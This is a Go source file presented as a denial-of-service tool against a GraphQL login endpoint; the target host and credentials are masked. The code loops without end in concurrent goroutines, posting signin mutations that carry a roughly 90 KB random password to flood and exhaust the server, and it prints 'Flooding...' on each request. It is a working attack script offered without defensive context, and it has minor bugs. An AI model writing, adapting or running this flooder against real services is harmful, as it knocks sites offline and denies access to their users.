Denial of Service: GraphQL login

dos.go

/*
Copyright (c) 2016 Chiro Hiro. All rights reserved.

This work is licensed under the terms of the MIT license.  
For a copy, see <https://opensource.org/licenses/MIT>.
*/

package main

import (
	"bytes"
	"crypto/rand"
	"encoding/hex"
	"encoding/json"
	"fmt"
	"net/http"
	"sync"
	"time"
)

func randomString() string {
	token := make([]byte, 1024*45)
	rand.Read(token)
	return hex.EncodeToString(token)
}

type SignInVariables struct {
	Email    string `json:"email"`
	Password string `json:"password"`
}

type Query struct {
	OperationName string          `json:"operationName"`
	Variables     SignInVariables `json:"variables"`
	Query         string          `json:"query"`
}

func killer() {
	var avrgTime int64
	times := 10
	for true {
		start := time.Now()
		myQuery := Query{
			OperationName: "signin",
			Variables:     SignInVariables{Email: "???????????????????@???????????????????.io", Password: randomString()},
			Query:         "mutation signin($email: String!, $password: String!) {\n  signin(input: {email: $email, password: $password}) {\n    access_token\n    user {\n      id\n      email\n      name\n      wallet\n      whitelist_status\n      accepted_tos {\n        TOSFiatPrimSale\n        TOSFiatSecSale\n        TOSFiatPI\n        __typename\n      }\n      __typename\n    }\n    __typename\n  }\n}\n"}

		query, _ := json.Marshal(myQuery)
		buf := bytes.NewReader(query)
		client := &http.Client{
			CheckRedirect: nil,
		}

		req, _ := http.NewRequest("POST", "http://???????????????????.io/api", buf)
		req.Header.Set("Content-Type", "application/json")
		req.Header.Add("Authorization", "Basic ???????????????????")
		resp, err := client.Do(req)
		if err == nil {
			fmt.Println("Flooding...")
		} else {
			fmt.Println(err.Error())
		}
		defer resp.Body.Close()
		avrgTime = time.Now().Sub(start).Nanoseconds()
	}
	fmt.Println(avrgTime/int64(times), "ns")
}

func main() {
	var wg sync.WaitGroup
	for i := 0; i < 2; i++ {
		wg.Add(3)
		go func() {
			defer wg.Done()
			killer()
		}()

	}
	wg.Wait()
}